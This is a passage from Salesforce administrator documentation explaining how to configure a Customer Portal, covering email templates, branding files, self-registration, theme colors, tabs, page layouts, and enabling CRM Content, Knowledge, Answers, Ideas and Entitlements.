
Email Notification Settings Setting


New Comment Template

Description The email template used to send a notification to Customer Portal users when a public comment is added to one of their cases. To create your own template, see Managing Email Templates on page 474. This template must be marked as Available for Use. The email template used to send a notification to Customer Portal users when they become the new owner of a record in the portal. To create your own template, see Managing Email Templates on page 474. This template must be marked as Available for Use.

Change Owner to Portal User Template

Note: You can standardize the communication templates sent to the users of all your Customer Portals by clicking the Set Default Email Templates for All Customer Portals link on the Tools section of the Customer Portal Setup page. For more information, see Creating Multiple Customer Portals on page 1754. Tip: If you plan to use the same communication template for different objects, such as the Change Owner to Portal User Template, we recommend that you include text and merge fields on the template that are appropriate for both objects. For example, if your organization has a Warranty custom object and a Training custom object, and you want to use the Change Owner to Portal User Template for both, the text and merge fields on the template should read: A new record has been assigned to you. Id: {!Training.ID}{!Warranty.Id}. When the template is sent, only the relevant merge fields will display. Look and Feel Setting
Header

Description A text or HTML file that allows you to incorporate your organizations branding into the header of your Customer Portal. Click the lookup icon ( ) to choose a file that has been uploaded to a publicly accessible folder on the Documents tab. The files you include in the Header and Footer lookup fields can have a combined size of up to 10 KB. We recommend that you do not add a header and a logo to your portal because they may not display properly together. You can position the logout link anywhere on the header by using the HTML tag: <a href="/secur/logout.jsp">Logout</a>.

Footer

A text or HTML file that allows you to incorporate your organizations branding into the footer of your Customer Portal. Click the lookup icon ( ) to choose a file that has

1761

Customer Portal

Setting Up Your Customer Portal

Look and Feel Setting Description been uploaded to a publicly accessible folder on the Documents tab. The files you include in the Header and Footer lookup fields can have a combined size of up to 10 KB.
Logo

An image file that allows you to incorporate your organization's branding into the top left header of your Customer Portal. Click the lookup icon ( ) to choose a file that has been uploaded to a publicly accessible folder on the Documents tab and marked as an Externally Available Image. The file you include in the Logo lookup field can be up to 20 KB. We recommend that you do not add a header and a logo to your portal because they may not display properly together.

Login Message

A text or HTML file that allows you to incorporate your organizations branding into the header of the login page, forgot password page, and change password page of your Customer Portal. Click the lookup icon ( ) to choose a file that has been uploaded to a publicly accessible folder on the Documents tab. The file you include in the Login Message lookup field can be up to 2 KB. Note: JavaScript and CSS code are automatically removed from HTML files used as the portal login message.

Self-Registration Settings Setting


Self-Registration Enabled

Description Allows existing contacts to register themselves for access to your Customer Portal. When you select this checkbox and add the Allow Customer Portal Self-Registration checkbox to contact page layouts, contacts whose records are marked Allow Customer Portal Self-Registration can view a self-registration area on the Login page of your Customer Portal. From the self-registration area, users can enter their email address and click Submit to receive an

1762

Customer Portal

Setting Up Your Customer Portal

Self-Registration Settings Setting Description automatically assigned username and password for logging in to your Customer Portal. Other email notifications sent to users regarding their registration status include: Existing user, from which the user can enter another email address or click a Forgot Password? link to retrieve his or her password. New user, which informs the user that the email address he or she submitted does not match an existing contact in your organization. If an administrator has implemented Web-to-Case or Web-to-Lead to capture new user information, then the user can click a link to enter his or her information on the appropriate form. Internal error, which informs the user that an error occurred during the self-registration process and that your portal's administrator has been notified about the error. Ineligible user, which informs the user that he or she is not eligible for self-registration to your Customer Portal. This notification is sent when a submitted email address matches a contact that does not have the Allow Customer Portal Self-Registration checkbox selected. It is also sent when a submitted email address does not match any contacts, and your administrator has not set up Web-to-Lead or Web-to-Case to capture new user information.

Ensure that all required custom fields on users have default values. Otherwise, users who self-register for your Customer Portal will receive an error message. Note that person account users cannot self-register for your Customer Portal. When person account users self-register for your Customer Portal, they receive an email notification that instructs them to contact the portal administrator.
New User Form URL

Allows you to specify the URL of a Web-to-Lead or Web-to-Case form for users who self-register for access to your Customer Portal. The URL to this form is offered via the template selected in the Registration Error Template field to self-registering users who lack an existing contact record, so that their information can be captured and converted to a contact.

1763

Customer Portal

Setting Up Your Customer Portal

Self-Registration Settings Setting Description For more information about setting up Web-to-Lead or Web-to-Case, see Capturing Web Leads on page 1382 and Capturing Web Cases on page 1427.
Registration Error Template

The email template sent to users who self-register for your Customer Portal, but experience a registration error, or need to complete a Web-to-Case or Web-to-Lead form to register for your portal. By default, a sample template is automatically selected for you. To create your own template or modify the sample, see Managing Email Templates on page 474. This template must be marked as Available for Use. The From Email Address and From Email Name fields on Customer Portal settings specify who this template is sent from.

Default New User License

Click the lookup icon ( ) to choose a default portal user license for users who self-register for your Customer Portal. Click the lookup icon ( ) to choose a default portal role for users who self-register for your Customer Portal. Click the lookup icon ( ) to choose a default portal profile for users who self-register for your Customer Portal. You cannot delete the profile selected as the default portal profile.

Default New User Role

Default New User Profile

4. Click Save to save your Customer Portal settings.

See Also:
Setting Up Your Customer Portal

1764

Customer Portal

Setting Up Your Customer Portal

Customizing Your Customer Portal Fonts and Colors


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change the fonts and colors of the Customer Portal: Customize Application

You can customize the fonts and colors of the Salesforce Customer Portal to reflect your companys branding. Your portals fonts and colors are specified in a portal color theme. Select a predefined color theme and, optionally, customize it to better match your branding. You can click the See examples link to see all of the theme attributes you can customize. 1. 2. 3. 4. Click Your Name > Setup > Customize > Customer Portal > Settings. Select the name of your Customer Portal. Click Change Portal Fonts and Colors. Select a color theme from the Color Theme drop-down list. Select Custom from the Color Theme drop-down list to create your own theme from scratch. A preview of the color theme you select is automatically displayed in the Preview sections. 5. Optionally, customize the color of any theme you select by either: Entering a hexadecimal value into any theme attribute, or Clicking the hexadecimal value of any theme attribute and selecting a color from the point-and-click editor

When you customize a theme, it is automatically renamed Custom when saved. You can customize the following options, which, when customized, automatically display in the Preview sections: Tab Styles Theme Attribute
Current Tab Text Current Tab Background Current Tab Border Other Tab Text Other Tab Background Other Tab Border Tab Bar Background

Description Text color of the tab users have selected. Background color of the tab users have selected. Border color of the tab users have selected. Text color of the tabs users have not selected. Background color of the tabs users have not selected. Border color of the tabs users have not selected. Background color behind all tabs.

Page Styles Theme Attribute


Page Background

Description Portal background color, excluding search, related lists, recent items, solution categories, document folders, and the Create New drop-down list.

1765

Customer Portal

Setting Up Your Customer Portal

Page Styles Theme Attribute


Text

Description Text color, size, and font on all portal items, except for tabs, buttons, headers, and field labels. Optionally, you can change the number in the percent field to increase or decrease the size of all portal items. Additionally, you can change the font of all portal items, except for tabs, buttons, headers, and field labels from the drop-down list.

Field Label Text

Text color of the field names on records. Optionally, you can change the font of the text from the drop-down list.

Link Link Hover

Text color of all links. Text color of all links when a user hovers the mouse over them. Color of the lines that separate fields on records. Color of the line bordering the bottom of the portal.

Field Separator Bottom Border

Section Styles Theme Attribute


Header Background

Description Background color of all headings, including search, recent items, related lists, solution categories, documents folders, and the selected tab. Text color and font on the headers of search, related lists, recent items, solution categories, and document folders. Optionally, you can change the font of the text from the drop-down list.

Section Header Text

Left Border

Border to the left of search, related lists, recent items, solution categories, document folders, and the Create New drop-down list. Optionally, you can change the number in the pixel field to increase or decrease the thickness of the border. Additionally, you can select the style of the line displayed for the border from the drop-down list.

1766

Customer Portal

Setting Up Your Customer Portal

Section Styles Theme Attribute


Right Border

Description Border to the right of search, related lists, recent items, solution categories, document folders, and the Create New drop-down list. Optionally, you can change the number in the pixel field to increase or decrease the thickness of the border. Additionally, you can select the style of the line displayed for the border from the drop-down list.

Top Border

Border above search, related lists, recent items, solution categories, document folders, and the Create New drop-down list. Optionally, you can change the number in the pixel field to increase or decrease the thickness of the border. Additionally, you can select the style of the line displayed for the border from the drop-down list.

Bottom Border

Border underneath search, related lists, recent items, solution categories, document folders, and the Create New drop-down list. Optionally, you can change the number in the pixel field to increase or decrease the thickness of the border. Additionally, you can select the style of the line displayed for the border from the drop-down list.

Section Background

Background color of search, related lists, recent items, solution categories, document folders, and the Create New drop-down list.

List Styles Theme Attribute


List Header Text

Description Text color of the field names selected as column headings on list views. Optionally, you can change the font of the text from the drop-down list.

Header Underline

Color of the lines underneath column headings on related lists and list views. Color of the lines between records on list views. Color of a record when a user hovers the mouse over it on list views.

Separator Row Highlight

1767

Customer Portal

Setting Up Your Customer Portal

6. Click Save to save all changes to the theme values. Tip: Changes are visible to Customer Portal users when they refresh their browsers. Therefore, we recommend updating your portal color theme at times when users are least likely to visit your Customer Portal.

Note: To customize the header, footer, and logo of your Customer Portal, see Enabling Customer Portal Login and Settings on page 1758.

See Also:
Setting Up Your Customer Portal Customizing Your Customer Portal Tabs

Customizing Your Customer Portal Tabs


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize Customer Portal tabs: Customize Application

The Salesforce Customer Portal can display the following tabs: Answers Articles Ideas Home Cases Reports Solutions Web tabs Entitlements Custom objects Service contracts Chatter Answers Documents from the Documents tab Salesforce CRM Content tabs: Libraries, Content, and Subscriptions

Additionally, the Customer Portal can display the following tabs to delegated portal user administrators: Accounts Contacts

1768

Customer Portal

Setting Up Your Customer Portal

To choose which tabs display to users logged in to a Customer Portal, and to customize the order in which tabs display to portal users: 1. 2. 3. 4. Click Your Name > Setup > Customize > Customer Portal > Settings. Select the name of the Customer Portal whose tabs you want to customize. Click Customize Portal Tabs. To add or remove tabs, select a tab title, and click the Add or Remove arrow to add or remove the tab to or from the Selected Tabs box. To change the order of the tabs, select a tab title in the Selected Tabs box, and click the Up or Down arrow. 5. Optionally, from the Default Landing Tab drop-down, you can select which tab to display to users when they log into your portal. 6. Click Save. You can further specify which tabs users can access by editing tab settings in users associated profiles and permission sets. See Viewing and Editing Tab Settings in Permission Sets and Profiles on page 573. Tip: You can create multiple Customer Portals that display different tabs for users with the same profile, as long as they have access to each object displayed on a tab. To make the following tabs visible in the Customer Portal, use the steps above and change the tab visibility setting to Default On in all Customer Portal profiles. Allowing Portal Users to View Web Tabs To allow portal users to view Web tabs, simply create Web tabs and assign them to Customer Portal profiles. For more information, see Creating Web Tabs on page 1864. Granting Portal Users Access to the Documents Tab To allow portal users to view a Documents tab, grant Customer Portal users access to the folders on your Salesforce Documents tab that contain the files you want them to view. For more information, see Document Library Overview on page 245 and Creating and Editing Folders on page 1354. Allowing Portal Users to View the Reports Tab To allow portal users to view a Reports tab: 1. Grant portal users access to the folders on your Salesforce Reports tab that contain the reports you want them to run. 2. Set the organization-wide default sharing model to Private on objects you want portal users to report on. 3. Assign portal users to permission sets or profiles that include the Run Reports permission. When you add the Reports tab to your Customer Portal, portal users: Cannot customize reports or filter report results; they can only run reports. Can export reports to Excel if they have the Export Reports permission. Do not have access to the Unfiled Public Reports and My Personal Custom Reports folders. Will receive an insufficient privileges error if they run a report that contains objects they do not have permission to view.

Providing Portal Users with Access to the Ideas Tab To allow portal users to access the Ideas tab, create a Ideas community that is active and configured to display in the portal. For more information, see Creating and Editing Communities on page 1595 and Enabling Ideas in the Customer Portal on page 1781.

1769

Customer Portal

Setting Up Your Customer Portal

If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise, your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information on hiding tabs, see Customizing Your Customer Portal Tabs on page 1768. Allowing Portal Users to Access Salesforce CRM Content Tabs To allow portal users to access Salesforce CRM Content, see Enabling Salesforce CRM Content in the Customer Portal on page 1777.

See Also:
Setting Up Your Customer Portal Administrator setup guide: Salesforce Customer Portal Implementation Guide Enabling Salesforce CRM Content in the Customer Portal

Customizing Your Customer Portal Pages


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To modify page layouts: To assign page layouts to profiles: Customize Application Manage Users

You can customize your Salesforce Customer Portal pages just as you customize pages in Salesforce: with page layouts. Page layouts control the layout and organization of buttons, fields, s-controls, Visualforce, custom links, and related lists. They also help determine which fields are visible, read only, and required. Page layouts can include s-controls and Visualforce pages that are rendered within a field section when the page displays. You can control the size of the s-controls and Visualforce pages, and determine whether or not a label and scroll bars display. Customer Portal users view the layouts assigned to their profile when they log in to your Customer Portal. You can customize the following objects' page layouts for your portal: Home Tasks Events Cases Assets Accounts Solutions Contacts Entitlements Custom Objects Service Contracts

1770

Customer Portal

Setting Up Your Customer Portal

Customizing Portal Page Layouts To work with page layouts, go to Your Name > Setup > Customize, click the appropriate record type, and select Page Layouts. For more information, see Managing Page Layouts on page 1309. By default, Customer Portal users have Read permissions on accounts, contacts, assets, products and price books, so that they can view their account name and choose a contact and asset for the cases they create on your portal. They may also have Update or Create permissions for assets and accounts, depending on the type of customer portal. See Service Cloud Portal User Licenses. Note: Customer Portal users can't view the tags section of a page, even if it is included in a page layout. For more information, see Tags Overview on page 375 To work with page layouts for custom objects, click Your Name > Setup > Create > Objects, select a custom object, and choose a page layout from the Page Layouts section. For more information, see Building Page Layouts for Custom Objects on page 1838. To display a custom object in your Customer Portal, you must: Select the Available for Customer Portal checkbox on the custom object. You cannot assign a portal profile to a custom-object page layout unless this checkbox is selected. For information on modifying this setting, see Defining Custom Objects on page 1822. Grant user permissions to the custom object on permission sets or profiles assigned to portal users. For more information, see Overview of User Permissions and Access on page 560. Add the tab of the custom object to your Customer Portal so that the tab is accessible to your Customer Portal users. For more information, see Customizing Your Customer Portal Tabs on page 1768.

See Also:
Customizing Your Customer Portal Fonts and Colors Enabling Customer Portal Login and Settings Designing Home Tab Page Layouts Setup Tips and Considerations for Customer Portal Pages Available in: Enterprise, Unlimited, and Developer Editions

Consider the following set up tips and general information about Salesforce Customer Portal pages. Setting Up Cases When setting up your Customer Portal, clone the page layout for cases (Case Layout), and rename it Portal Case Layout. This allows you to easily differentiate between case page layouts for internal users and case page layouts for portal users. By default, new cases are accessible in the Customer Portal, but you can include the Visible in Self-Service checkbox on case page layouts so that you can deselect the checkbox to prevent a case from being displayed. Do not select the Show Case Email Notification and Show Case Email Notification by default checkboxes on case page layouts. These features only apply to Salesforce users. Do not add the Internal Comments field to case page layouts assigned to portal profiles because portal users may view comments intended only for Salesforce users.

1771

Customer Portal

Setting Up Your Customer Portal

Include the Asset field on case page layouts if you want portal users to be able to associate cases with an asset related to their account. Include the Contact Name lookup field on case page layouts so that users with Edit permissions on that field can change a case's contact to another portal user in the same account. Do not select the Show solution information section, Show Contact Notification checkbox, and Select Contact Notification checkbox by default checkboxes on close-case page layouts because their functions only apply to Salesforce users. Create case record types to set the default value of the Case Origin picklist field for cases logged on your Customer Portal. For more information, see Creating Record Types on page 1302. For case assignment rules to work on the Customer Portal, select the Show Case Assignment checkbox and Select Case Assignment checkbox by default checkboxes on case page layouts assigned to portal profiles. Portal users cannot view these checkboxes on the Customer Portal. Note that assignment rules trigger when a case is created and when it is edited. To prevent cases from being automatically reassigned when edited by portal users, add a rule entry using the criteria Current User: User Type contains Customer Portal and select the Do Not Reassign User checkbox. For more information, see Setting Up Assignment Rules on page 1341. Portal users can view all the values in the Type, Status, Priority, and Case Reason picklist fields unless you create record types for cases that contain separate picklist values for them. For more information, see Managing Record Types on page 1300. You can prevent portal users from submitting cases with attachments by removing the Submit & Add Attachment button from case page layouts: 1. 2. 3. 4. 5. Edit a case page layout with the enhanced page layout editor. Click Layout Properties. Deselect Show Submit & Add Attachment Button. Click OK. Click Save.

Cases Portal users need the Read permission on contacts to create cases. Portal users cannot edit the value of the Status picklist field on cases. Portal users can edit and delete attachments they have added to their cases, but portal users cannot edit and delete attachments added to cases by Salesforce users. The Delete and Sharing buttons on case detail pages are not available to portal users. The Email Message List, Next, and Previous links are not available to Customer Portal users when they view emails from the Email related list on case detail pages. The Email related list is only available in organizations where Email-to-Case or On-Demand Email-to-Case is enabled. Optionally, you can create case auto-response rules to automatically respond to portal users when they create a case on your portal. For more information, see Setting Up Auto-Response Rules on page 1348. Portal users can view, search, and create notes and attachments on cases. When creating a case, a portal user bypasses the Suggested Solutions page and is directed to their case if: No relevant suggested solutions match the case. He or she creates the case by clicking Submit & Add Attachment. Note that suggested solutions are only available in organizations where they are enabled. For more information on suggested solutions, see What are Suggested Solutions? on page 3435. For more information about how Customer

1772

Customer Portal

Setting Up Your Customer Portal

Portal users can self-close their own cases from suggested solutions, see Enabling Customer Portal Login and Settings on page 1758. If Salesforce Knowledge is enabled, you can add the Articles related list to case page layouts assigned to portal users so that they can find articles that help them solve their cases. See Customizing Related Lists on page 1327. If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list. Portal users can download feed attachments, but can't preview, edit, or delete them.

Solutions The Status picklist field on solutions is not available to portal users. The Status picklist field on a solution does not need to be set to Reviewed for a solution to be visible in the Customer Portal; a solution is visible in the Customer Portal if the Visible in Self-Service Portal checkbox is selected on a solution. If you enable solution categories for your organization, solution categories are also available in your Customer Portal. Uncategorized solutions do not display in the solution categories of your Customer Portal, but they do display in your portal's search and list views. The top solutions feature is not available for your Customer Portal, but you can create links on your Customer Portal home page to your organization's most relevant solutions.

Home Page Include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users. Each Customer Portal user who logs in to your portal receives a welcome message with his or her name. The users can also change their own portal username, password, locale, language, time zone, and contact information. When portal users change information about themselves their user records are updated but their contact records arent automatically updated with those changes. For more information about defining home page components and assigning home page layouts, see Customizing Home Tab Page Layouts on page 1334. Note that Customer Portal users who have the Is Single Sign-On Enabled permission cannot change their usernames from the Customer Portal Welcome component. For more information on Single Sign-On, see Company Information Fields on page 446. When designing home page layouts for your Customer Portal, we recommend adding the following components: Search, Solution Search, Recent Items, Customer Portal Welcome, and a custom HTML Area component that includes your corporate branding in the wide column. Create custom components to put on the home page layouts of your Customer Portal, such as links to custom list views, specific documents, and top solutions. For more information, see Defining Home Tab Components on page 1334. Custom component names do not display in the wide section of the home page in the Customer Portal. You can position the logout link anywhere on the header by using the HTML tag: <a href="/secur/logout.jsp">Logout</a>. For more information on the header, see Enabling Customer Portal Login and Settings on page 1758. We recommend not adding the following components to your Customer Portal home page layouts because they are for Salesforce users: Tasks, Calendar, Product Search, Recent Items, Dashboard Snapshot, Messages & Alerts, and Items To Approve.

1773

Customer Portal

Setting Up Your Customer Portal

Activities Portal users cant be assigned to activities. Portal users can view completed tasks and past events marked Visible in Self-Service that are associated with objects they have permission to view.

Documents Verify that none of your organization's internal documents on the Documents tab are available in folders accessible to portal users. For more information, see Managing Folders on page 1351. Reports Portal users can run reports if they have the Run Reports permission. Portal users can export reports if they have the Export Reports permission. The Report Options section does not display on report results for portal users because portal users cannot customize report results. Also, the Generated Chart section, which includes the Edit, Large, Medium, and Small links, does not display on report results. Report results for portal users only include links to objects the portal users have permission to access. Portal users can only report on objects set to Private in the organization-wide default sharing model. Some objects, such as solutions and articles, are not included in the sharing model and cannot be reported on by Customer Portal users. For more information, see Setting Your Organization-Wide Sharing Defaults on page 634. Portal users will receive an insufficient privileges error if they run a report that contains objects they do not have permission to view. By default all users, including portal users, can view report folders. To prevent portal users from viewing report folders, update the sharing settings on report folders to the All Internal Users group. For more information, see Managing Folders on page 1351.

Custom Objects When you deselect the Available for Customer Portal checkbox on a custom object, the custom object is no longer available on the Customer Portal, and all of the permissions for the custom object are automatically removed from portal profiles. If you select the Available for Customer Portal checkbox on a custom object again, you must update the permissions for the custom object on portal profiles. Note: If you configure custom object access at a later time, permission sets retain their configuration.

Portal users can view, search, and create notes and attachments on custom objects. If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list. Portal users can download feed attachments, but can't preview, edit, or delete them.

Articles For setup information, see Enabling Salesforce Knowledge in the Customer Portal on page 3685. Assets Portal users can create, view, and update assets associated with their accounts.

1774

Customer Portal

Setting Up Your Customer Portal

Assets are only visible to portal users if you include the Assets lookup field on case page layouts. From case detail pages, portal users can view an asset by clicking it in the Asset field. Portal users can view and search attachments on assets. If Chatter is enabled for your organization, feed attachments are included in the Notes and Attachments related list. Portal users can download feed attachments, but can't preview, edit, or delete them.

Salesforce CRM Content Portal users with a Salesforce CRM Content feature license can perform any tasks granted by their library permission. Portal users with the View Content on Portals user permission have view-only access to Salesforce CRM Content. Portal users with the Create Libraries user permission can create and administer libraries.

For more information, see Enabling Salesforce CRM Content in the Customer Portal on page 1777. Answers For setup information, see Enabling Answers in the Customer Portal on page 1780. When customizing your portal fonts and colors, note that answers only supports the following changes: All tab styles The following page styles: Page Background Text Link Link Hover

Ideas For setup information, see Enabling Ideas in the Customer Portal on page 1781. Accounts Only users with delegated Customer Portal user administrator rights can view the Accounts tab and their account's detail page in your Customer Portal. See Delegating Customer Portal User Administration and Portal Super User on page 1799. Contacts Only users with delegated Customer Portal user administration rights can view their account's contacts. See Delegating Customer Portal User Administration and Portal Super User on page 1799. Only users with the Portal Super User permission can view the Contacts tab and edit and detail pages for contacts in your Customer Portal. See Delegating Customer Portal User Administration and Portal Super User on page 1799. Entitlements For set up information, see Enabling Entitlement Management in the Customer Portal on page 1782. Add the Read permission on entitlements to custom portal profiles; assign the profiles to portal users who need access to entitlements. See User Profiles Overview on page 525 and Configuring User Access to the Customer Portal on page 1787.

1775

Customer Portal

Setting Up Your Customer Portal

Add the Entitlement Name lookup field to case page layouts so that portal users can add entitlements to cases. See Customizing Page Layouts on page 1311. Don't add the following entitlement process fields to case page layouts for portal users because portal users shouldn't access information related to your internal support processes: Entitlement Process Start Time, Entitlement Process End Time, Stopped, and Stopped Since. See Case Fields on page 3363. Optionally, add the Entitlements tab to your Customer Portal so that portal users can view entitlements associated with their accounts and create cases from entitlements. Add the Entitlements related list to account and contact page layouts so that delegated portal user administrators can create cases automatically associated with the right entitlements. See Delegating Customer Portal User Administration and Portal Super User on page 1799 and Customizing Page Layouts on page 1311.

Service Contracts Flows You can include Force.com flows in your Customer Portal by embedding them in a Visualforce page. For more information, see Adding a Flow to a Visualforce Page on page 1977. Users can only run flows that have an active version. If the flow you embed doesn't have an active version, users see an error message. If the flow you embed includes a subflow element, the flow that is referenced and called by the subflow element must have an active version. When making a flow available to site or portal users, be sure to point them to the URL of the Visualforce page that contains the embedded flow, not to the URL of the flow itself. Site and portal users dont have the privileges to run flows directly. For set up information, see Enabling Entitlement Management in the Customer Portal on page 1782. Grant the Read permission on service contracts to the portal users who need access to service contracts. See Overview of User Permissions and Access on page 560 and Configuring User Access to the Customer Portal on page 1787. Add the Service Contracts tab to your Customer Portal so that portal users can view the details of their service contracts. See Customizing Your Customer Portal Tabs on page 1768. Contract line items don't display in the Customer Portal.

See Also:
Customizing Your Customer Portal Pages Overview of User Permissions and Access

1776

Customer Portal

Setting Up Your Customer Portal

Enabling Salesforce CRM Content in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up and update the Customer Portal: To create and edit profiles: To manage Customer Portal users: To create Salesforce CRM Content library permissions: Customize Application Manage Users Edit Self-Service Users Manage Salesforce CRM Content OR Manage Content Permissions To add users to a Salesforce CRM Content library: Manage Salesforce CRM Content OR
Manage Library checked in your library permission

definition

Salesforce CRM Content is available in the Customer Portal. Two levels of access to Salesforce CRM Content can be granted to Customer Portal users: Portal users without a Salesforce CRM Content feature license can download, rate, comment on, and subscribe to content if they have the View Content on Portals user permission. They cannot view potentially sensitive data such as usernames and download, version, and subscriber history. The content delivery feature is not available to portal users. Portal users with a Salesforce CRM Content feature license can access all Salesforce CRM Content features granted by their library permission(s), including contributing content, moving and sharing content among libraries, and deleting content. They can also view Salesforce CRM Content reports. The content delivery feature is not available to portal users.

Enable Salesforce CRM Content for Non-Licensed Users After you have enabled your Customer Portal, complete the following steps to enable Salesforce CRM Content in your portals. Use these steps if you have not purchased Salesforce CRM Content feature licenses for your portal users. 1. Update Customer Portal profiles: a. b. c. d. Clone the Customer Portal User or Customer Portal Manager profile. In the cloned profiles, add the View Content in Portals user permission. Change the tab visibility for the Libraries, Content, and Subscriptions tabs from Tab Hidden to Default On. Assign the cloned profiles to your Customer Portal users.

2. Determine what privileges your portal users will have in each Salesforce CRM Content library by creating one or more library permissions. Note: A library permission can only grant privileges that a user's feature license or profile permits. For example, even though Tag Content is a library permission option, selecting it does not allow portal users without a Salesforce CRM Content feature license to tag content.

1777

Customer Portal

Setting Up Your Customer Portal

3. Determine which libraries you want your portal users to have access to. Ensure that confidential content is not available in these libraries. 4. Add portal users to libraries. Portal users with the Customer Portal User profile or a clone of that profile can only be added to a library as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that profile can be added to a library individually. 5. Add the Salesforce CRM Content tabs to each Customer Portal. Note: The Documents tab is not part of Salesforce CRM Content.

Enable Salesforce CRM Content for Licensed Users After you have enabled your Customer Portal, complete the following steps to enable Salesforce CRM Content in your portals. Use these steps if you have purchased Salesforce CRM Content feature licenses for your portal users 1. Update Customer Portal profiles: a. Optionally, clone the Customer Portal User and Customer Portal Manager profile to include the Create Libraries user permission if you want to allow portal users to create and administer new libraries. b. In your standard or cloned Customer Portal profiles, change the tab visibility for the Libraries, Content, and Subscriptions tabs from Tab Hidden to Default On. c. Assign the cloned profiles to your Customer Portal users as needed. 2. Select the Salesforce CRM Content User checkbox on the user detail page for each Customer Portal user. 3. Determine what privileges your portal users will have in each Salesforce CRM Content library by creating one or more library permissions. Note: A library permission can only grant privileges that a user's feature license or profile permits. For example, even though Tag Content is a library permission option, selecting it does not allow portal users without a Salesforce CRM Content feature license to tag content. 4. Determine which libraries you want your portal users to have access to. Ensure that confidential content is not available in these libraries. 5. Add portal users to libraries. Portal users with the Customer Portal User profile or a clone of that profile can only be added to a library as part of a public group. Portal users with the Customer Portal Manager profile or a clone of that profile can be added to a library individually. 6. Add the Salesforce CRM Content tabs to each Customer Portal. Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Setting Up Your Customer Portal Enabling Your Customer Portal Salesforce CRM Content Overview

1778

Customer Portal

Setting Up Your Customer Portal

Enabling Salesforce Knowledge in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up and update the Customer Portal: To create and edit profiles: To manage Customer Portal users: To view Salesforce Knowledge articles: Customize Application Manage Users Edit Self-Service Users Read on the article's article type

You can use the Customer Portal to provide your customers with access to Salesforce Knowledge articles. Portal users can view and rate articles but cannot create or edit articles. After you have set up Salesforce Knowledge in your organization and enabled your Customer Portal, complete the following steps to enable Salesforce Knowledge in your portals. 1. Update Customer Portal profiles: a. Clone the Customer Portal User or Customer Portal Manager profiles and enable the Read permission for article types you want to share with customers. b. In the cloned profiles, verify that the tab visibility for the Articles tab is Default On. 2. At the bottom of the customer portal detail page, click Edit Profiles and activate the new profile. 3. Assign the cloned profiles to your Customer Portal users: a. To create a new Customer Portal user, click Work with Portal and choose Enable Customer Portal User on the contact detail page. To update an existing user, click Work with Portal and choose View Customer Portal User on the contact detail page. b. For a new user, select the cloned profile from the Profile drop-down menu. For an existing user, click Edit and then select the profile. c. Click Save. 4. Add the Articles tab to each Customer Portal. 5. If you want your Customer Portal users to have different category group visibility settings than the account owner, change the visibility settings for the Customer Portal user. By default, Customer Portal users inherit their data category access from the account owner. For example, if the account owner has a role of CEO and the CEO role has full access to all the data categories in a category group, then Customer Portal users can also access all categories in that group. In some cases, you may want to limit which categories a Customer Portal user can access. 6. If you have high-volume portal users, make the categories these users need to access visible by default. Because high-volume portal users don't have roles, they can only access categorized articles if the associated data categories have been made visible to all users regardless of role. 7. Notify users who create articles that they must select Customer Portal as a channel option when creating or modifying an article. If the Customer Portal channel is not selected, the article will not be published in the portal.

1779

Customer Portal

Setting Up Your Customer Portal

8. To allow users to search for articles from the Home tab, add the Article Search component to the home page layout. Ensure that you assign the layout to the Customer Portal profiles.

See Also:
Salesforce Knowledge Overview Setting Up Salesforce Knowledge Salesforce Knowledge Terminology

Enabling Answers in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up and update the Customer Portal: To create and edit profiles: To create an answers community: Customize Application Manage Users Customize Application

You can use the Customer Portal to provide your customers with access to an answers community. To enable answers in your portal: 1. Set up your Customer Portal. When customizing your portal fonts and colors, note that answers only supports the following changes: All tab styles The following page styles: Page Background Text Link Link Hover

2. Set up answers, making sure that your answers community is configured to display in the Customer Portal. 3. Add the Answers tab to your Customer Portal. 4. Create Customer Portal users: a. On the contact detail page, click Work with Portal and then choose Enable Customer Portal User. b. Enter the required information, making sure to select the correct Customer Portal profile from the Profile drop-down menu. c. Click Save. 5. If you want your Customer Portal users to have different category group visibility settings than the account owner, change the visibility settings for the Customer Portal user.

1780

Customer Portal

Setting Up Your Customer Portal

By default, Customer Portal users inherit their category access from the account owner. For example, if the account owner has a role of CEO and the CEO role has full access to all the data categories in the category group assigned to answers, then Customer Portal users can also access all categories in the answers community. In some cases, you may want to limit which categories a Customer Portal user can access. 6. If you have high-volume portal users, make the data categories these users need to access visible through permission sets or profiles. 7. If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise, your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information on hiding tabs, see Customizing Your Customer Portal Tabs on page 1768.

See Also:
Answers Overview What are Data Categories?

Enabling Ideas in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set up and update the Customer Portal: To create and edit profiles: To create a Ideas community: Customize Application Manage Users Customize Application

Ideas is available in the Customer Portal. After you have set up your Customer Portal, follow the steps below to enable Ideas in your portal. 1. Create a Ideas community that is active and configured to display in the portal. For more information, see Creating and Editing Communities on page 1595. 2. Add the Ideas tab to your Customer Portal. For more information, see Customizing Your Customer Portal Tabs on page 1768. 3. If your organization has the Ideas and Answers Portal license, hide the Reports tab in the Customer Portal. Otherwise, your Customer Portal users receive an Insufficient Privileges message when they click the Reports tab. For information on hiding tabs, see Customizing Your Customer Portal Tabs on page 1768.

1781

Customer Portal

Setting Up Your Customer Portal

Enabling Entitlement Management in the Customer Portal


Available in: Enterprise, Unlimited, and Developer Editions with the Service Cloud

User Permissions Needed To set up and update the Customer Portal: To create and edit profiles: To manage Customer Portal users: "Customize Application" "Manage Users" "Edit Self-Service Users"

